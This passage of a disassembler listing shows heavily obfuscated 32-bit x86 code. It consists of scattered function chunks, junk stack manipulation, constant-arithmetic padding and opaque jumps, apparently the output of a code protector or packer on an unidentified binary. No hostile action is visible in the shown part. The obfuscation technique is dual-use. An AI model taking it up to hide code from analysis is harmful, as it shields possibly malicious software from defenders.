0059024A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059026D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059036F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059059E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059060A SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059073D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590A13 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00590A97 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590AA7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00590C75 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00590FE7 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00591023 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005910A9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059113D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00591170 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005911DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591309 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059153C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005915B1 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059166D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059176A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591819 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00591952 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00591AB3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00591B52 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00591C05 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00591CFE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00591D65 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00591E39 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591FCB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059205D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0059219E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005924CA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005926E5 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005928FE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00592A6E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00592C8F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00592D52 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592EA8 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00593291 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005933B9 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005937D1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005938E9 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00593910 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005939D3 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00593A67 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593ADA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00593B98 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00593C0D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00593C79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00593F52 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00594089 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005941FC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059448E SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059450B SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00594593 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00594710 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00594933 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005949E2 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594A34 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00594CCC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00594CF8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00594D40 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00594E11 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00595437 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005954AA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005955A4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005955FA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005957EE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005959C8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00595AE2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595B82 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00595C81 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00595DAB SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00595E58 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00595EAE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00595FE5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059610A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005961BE SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005963D8 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005966F1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059678D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005967E3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005968BC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596A16 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596C33 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00596E14 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00596E4A SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00597478 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597576 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005977A3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00597924 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059799B SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00597A70 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00597D3F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00597DFD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00597F1E SIZE 0000005C BYTES ; FUNCTION CHUNK AT 005981E4 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059823E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059828A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005982AD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059832E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00598377 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005983D3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059842A SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005984E5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059853A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00598664 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005986FF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005987F3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005988E7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059891C SIZE 0000003B BYTES ; FUNCTION CHUNK AT 00598AC2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00598B07 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00598DBF SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], ebx push esp push [esp+8+var_8] pop ebx add esp, 4 jmp loc_58DD0A sub_591435 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_591448: ; CODE XREF: sub_591370-4637j push edx jmp loc_59266D ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59144E: ; CODE XREF: sdfs____:00590F1Bj add eax, 2 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_597736 ; --------------------------------------------------------------------------- loc_591466: ; CODE XREF: sdfs____:0058D4C5j add eax, 4 jmp loc_58FFEF ; --------------------------------------------------------------------------- loc_591470: ; CODE XREF: sdfs____:00598DD9j jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_591475: ; CODE XREF: sub_59587A-4E2Dj xor ebp, 3F0F1DDFh sub ebx, ebp pop ebp add ebx, eax add ebx, 76942E9Eh mov eax, [esp+0] add esp, 4 jmp loc_598806 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_591491: ; CODE XREF: sdfs____:00597F97j xor [esp], edi xor edi, [esp] pop esp mov [esp], esi push 41EEh mov [esp], esp jmp loc_58EE8F ; --------------------------------------------------------------------------- push 5581h jmp loc_58C07F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5914B2: ; CODE XREF: sub_591370+5DD2j pop edi pop edx push edi pop ebp push [esp-14h+arg_10] mov edi, [esp-10h+arg_C] add esp, 4 add esp, 4 xor eax, ebp mov ebp, [esp-18h+arg_14] add esp, 4 sub esp, 4 mov [esp-18h+arg_14], esi push 64AD0680h mov esi, [esp-14h+arg_10] jmp loc_58D2AD ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5914E6: ; CODE XREF: sub_5962EB+20D6j xchg ecx, [esp-8+arg_4] mov esp, [esp-8+arg_4] sub eax, 0AE75B83h add edx, 20DA2DCCh add edx, eax push 688Ch mov [esp-4+arg_0], ebx mov ebx, 61BF6508h jmp loc_596B7C ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59150B: ; CODE XREF: sub_591370+411j add esp, 4 add esp, 4 push eax push [esp-18h+arg_18] mov eax, [esp-14h+arg_10] add esp, 4 pop [esp-18h+arg_14] pop esp jmp loc_58EAC4 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59152B: ; CODE XREF: sdfs____:0058C28Fj push edx mov edx, 4E4A78A8h jmp loc_59405C ; --------------------------------------------------------------------------- loc_591536: ; CODE XREF: sdfs____:005945E9j dec edi jmp loc_5949EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59153C: ; CODE XREF: sub_591435+55E4j add esp, 4 push ecx push [esp+8+var_4] push [esp+0Ch+var_C] pop ecx jmp loc_5983D3 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_591550: ; CODE XREF: sdfs____:0058C9ADj mov ebx, 1560358Eh and edi, ebx jmp loc_58C33D ; --------------------------------------------------------------------------- loc_59155C: ; CODE XREF: sdfs____:005949FAj mov [esp], eax mov eax, 0F624FACCh sub edi, eax pop eax sub edi, 0F8C0A13h xor edi, 3BD406B2h push edi pop eax pop edi xor eax, ebp push dword ptr [esp] pop ebp jmp loc_592F19 ; --------------------------------------------------------------------------- loc_591581: ; CODE XREF: sdfs____:0058F2E1j xchg ebp, [esp] mov esp, [esp] mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_58D85A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591597: ; CODE XREF: sub_594228+3DBCj add ebx, 4B86CB51h xor eax, ebx jmp loc_59782A ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_5915A4: ; CODE XREF: sdfs____:005910E5j xor edi, 2E67D5B5h sub edx, edi jmp loc_5981A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5915B1: ; CODE XREF: sub_591435+751Dj mov edx, [esp+0Ch+var_C] add esp, 4 push ecx push eax push 872670Ah pop eax shl eax, 8 jp loc_597478 neg eax jz loc_5979B0 jmp loc_58D1F9 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5915D8: ; CODE XREF: sdfs____:005928C8j add ebp, 460C4516h mov edx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], dx jmp loc_591C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5915F9: ; CODE XREF: sub_594228-6D8Aj sub ebx, 75150B75h sub ebx, esi push edi mov edi, 162638F7h and edi, 76B4CE2h shr edi, 7 sub edi, 6A864D8Dh sub edi, 2070EB0Fh add ebx, edi pop edi pop esi add ebx, 4F183967h mov ecx, [ebx] pop ebx jmp loc_5909D1 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_59162E: ; CODE XREF: sdfs____:0058C544j add eax, ebx add eax, 1464A3Bh sub eax, 61DD0227h mov ebx, [esp] jmp loc_597EB7 ; --------------------------------------------------------------------------- loc_591642: ; CODE XREF: sdfs____:0058C934j add ecx, 0F5391C4Ch sub esi, ecx pop ecx add esi, eax jmp loc_591B65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591AD9 loc_591652: ; CODE XREF: sub_591AD9+9j sub eax, 77F51EF7h mov ebp, eax push [esp-4+arg_0] pop eax push edi mov edi, esp push ebp mov ebp, 4 add edi, ebp jmp loc_597AAD ; END OF FUNCTION CHUNK FOR sub_591AD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59166D: ; CODE XREF: sub_591435+946j pop esp push [esp+10h+var_10] push [esp+14h+var_14] mov edx, [esp+18h+var_18] jmp loc_58BADF ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59167C: ; CODE XREF: sub_5962EB+776j push 1 push dword ptr [esp+0] jmp loc_592511 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_591689: ; CODE XREF: sdfs____:00591E34j pop esp jmp loc_596DFA ; --------------------------------------------------------------------------- loc_59168F: ; CODE XREF: sdfs____:00590D15j sub esi, 6D88638Ah pop ebp sub esi, 4 xchg esi, [esp] pop esp jmp loc_58D2B9 ; --------------------------------------------------------------------------- loc_5916A5: ; CODE XREF: sdfs____:0058F694j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_598199 ; --------------------------------------------------------------------------- loc_5916C0: ; CODE XREF: sdfs____:0058F45Cj pop ecx pop ebp not ebp jmp loc_59089A ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_598A43 ; --------------------------------------------------------------------------- loc_5916D0: ; CODE XREF: sdfs____:005926C6j jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5916D5: ; CODE XREF: sdfs____:0058DB0Bj push esi mov esi, 388139C1h sub esi, 9F0474Dh not esi jmp loc_58F190 ; --------------------------------------------------------------------------- loc_5916E8: ; CODE XREF: sdfs____:00594B0Ej pop eax or esi, 48954D35h jns loc_5953F8 not esi not esi sub esi, 0FFFFFFFFh dec esi mov ebx, edx pop edx ; START OF FUNCTION CHUNK FOR sub_59841F loc_591700: ; CODE XREF: sub_59841F-E12j add ecx, edx jmp loc_597F10 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- loc_591707: ; CODE XREF: sdfs____:0058CBD6j push ebp jmp loc_5968AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_59170D: ; CODE XREF: sub_59587A-93AAj pop esi jmp loc_59677A ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598A21 loc_591713: ; CODE XREF: sub_598A21-94F9j xor eax, ecx xchg eax, edi xchg ecx, edi jmp loc_5975C3 ; END OF FUNCTION CHUNK FOR sub_598A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA0A loc_59171D: ; CODE XREF: sub_58FA0A-13C1j pop esi jmp loc_591D0B ; END OF FUNCTION CHUNK FOR sub_58FA0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591723: ; CODE XREF: sub_5985AE-93E4j mov [esp-8+arg_4], ebx mov ebx, 1 add eax, 49BF0EE8h sub eax, ebx sub eax, 49BF0EE8h mov ebx, [esp-8+arg_4] jmp sub_58E146 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_59173F: ; CODE XREF: sdfs____:0059308Dj mov ebp, esi jmp loc_5986C5 ; --------------------------------------------------------------------------- loc_591746: ; CODE XREF: sdfs____:0058BD23j sub esp, 4 mov [esp], ebx jmp loc_58C845 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591754: ; CODE XREF: sub_594228+1FF2j jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_591759: ; CODE XREF: sub_592853-6888j and ebx, ecx pop ecx or ebx, ebx jnz loc_597D94 push ecx jmp loc_58BFA6 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59176A: ; CODE XREF: sub_591435+4BCBj and eax, ebp jmp loc_594A34 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_591771: ; CODE XREF: sub_591370-3555j mov [esp-10h+arg_C], ebp mov ebp, 4 add eax, ebp push [esp-10h+arg_C] mov ebp, [esp-0Ch+arg_8] jmp loc_59150B ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_591786: ; CODE XREF: sdfs____:0058F8DFj sub ecx, 0A092FC2Ah add ebp, ecx pop ecx sub ebp, 70F14E66h add ecx, ebp pop ebp add ecx, 2 jmp loc_598821 ; --------------------------------------------------------------------------- loc_5917A3: ; CODE XREF: sdfs____:00598A3Ej xor eax, 0FADD0156h jmp loc_59478F ; =============== S U B R O U T I N E ======================================= sub_5917AD proc near ; CODE XREF: sub_5985AE-477Cj var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], edi mov edi, esp add edi, 4 jmp sub_592F43 sub_5917AD endp ; =============== S U B R O U T I N E ======================================= sub_5917C0 proc near ; CODE XREF: sub_5962EB-3C94j var_16 = dword ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0058BDED SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058BE78 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BEDD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058BFD0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C119 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058C963 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058CA5F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058D0A9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D1DE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D744 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058D7E2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058D935 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058DA54 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058DC14 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058DD5F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058DD8E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058DEF6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058DFC4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058E25C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058E924 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058EA2A SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058EA52 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058EB79 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058ED45 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0058ED8E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058EE50 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058EF85 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F0AB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058F278 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058F2A7 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058F573 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F668 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058F8BC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058FAF2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FB45 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FDE4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FEF5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058FF97 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058FFC6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005900D0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005905D7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590663 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005907B1 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00590819 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005908A1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00590912 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005909FF SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00590AD1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00590BD9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590C07 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00590DB9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00590F46 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005912BE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00591317 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00591CC4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591F37 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00592307 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592C5E SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00593017 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005932E2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005934C4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00593595 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593B8A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593EFB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00593FC2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005944B6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005944F1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059457F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059467D SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005946CE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005948FB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00594964 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059498D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00594E8E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059513A SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005951CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005955D9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005956D1 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00595710 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005957CE SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00595A75 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00595F67 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0059621F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005964A1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059653C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00596637 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00596701 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00596AD7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00596BD3 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 00596C2C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00596CF2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00596D3C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00596E44 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00596F6A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00596F96 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059703B SIZE 00000035 BYTES ; FUNCTION CHUNK AT 00597088 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00597105 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00597685 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00597892 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00597AD5 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00597BB4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00597D8B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597E7B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00598169 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00598566 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059873F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059878C SIZE 0000002A BYTES push ebp mov ebp, eax jmp loc_58F573 sub_5917C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_5917C8: ; CODE XREF: sub_59576E+12E6j mov cx, 0C361h add si, cx pop cx sub dx, si pop esi sub ax, dx pop edx push ax sub esp, 4 mov [esp-4+arg_0], edi push small 5743h pop di push ebx mov bx, 194Ch xor bx, 617Fh or di, bx pop ebx neg di and di, 31CEh add di, 5570h jmp loc_58C6DB ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- loc_591807: ; CODE XREF: sdfs____:005909BBj mov esi, 2 add edi, esi pop esi jmp loc_58C997 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591814: ; CODE XREF: sub_594228-44A1j jmp loc_592A4B ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_591819: ; CODE XREF: sub_591435-19A1j add [edi+20h], ecx mov ecx, [esp+0Ch+var_C] push ebx mov ebx, esp jmp loc_59219E ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE3C loc_591827: ; CODE XREF: sub_58FE3C-416Aj xor ecx, [esp-8+arg_4] mov esp, [esp-8+arg_4] jmp loc_597E85 ; END OF FUNCTION CHUNK FOR sub_58FE3C ; --------------------------------------------------------------------------- loc_591832: ; CODE XREF: sdfs____:005922F1j add ecx, 4 xchg ecx, [esp] mov esp, [esp] movsx ecx, ax jmp loc_590216 ; --------------------------------------------------------------------------- loc_591846: ; CODE XREF: sdfs____:005971D6j pop edi jmp loc_58CAC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59184C: ; CODE XREF: sub_5962EB-2BD0j add esp, 4 jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_591857: ; CODE XREF: sub_5985AE:loc_58C862j ; sub_5917C0-3A29j sub eax, 1B8C5529h sub ebx, eax pop eax add ebx, eax add ebx, 1DAE1AA1h push 553Fh mov [esp+0], ecx push 1A414DAEh jmp loc_58D3FF ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_591879: ; CODE XREF: sub_594228-4AA8j mov edi, esi pop esi shl edi, 4 jmp loc_58E08E ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EB23 loc_591884: ; CODE XREF: sub_58EB23-1B8j add bl, 0A9h push cx mov ch, 6Bh add bl, ch pop cx push small 6E07h jmp loc_596B45 ; END OF FUNCTION CHUNK FOR sub_58EB23 ; --------------------------------------------------------------------------- loc_591898: ; CODE XREF: sdfs____:loc_593047j push dx xchg dh, [esp] neg dh xchg dh, [esp] jmp loc_5943B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5918A7: ; CODE XREF: sub_5962EB-20F4j pop ecx push esi push eax mov eax, 29ED26DCh xor eax, 3C0B0151h shr eax, 1 jp loc_58E347 and eax, 0C6F22DFh jmp sub_58EC6C ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- pop ebp mov ax, [esp] sub esp, 4 mov [esp], 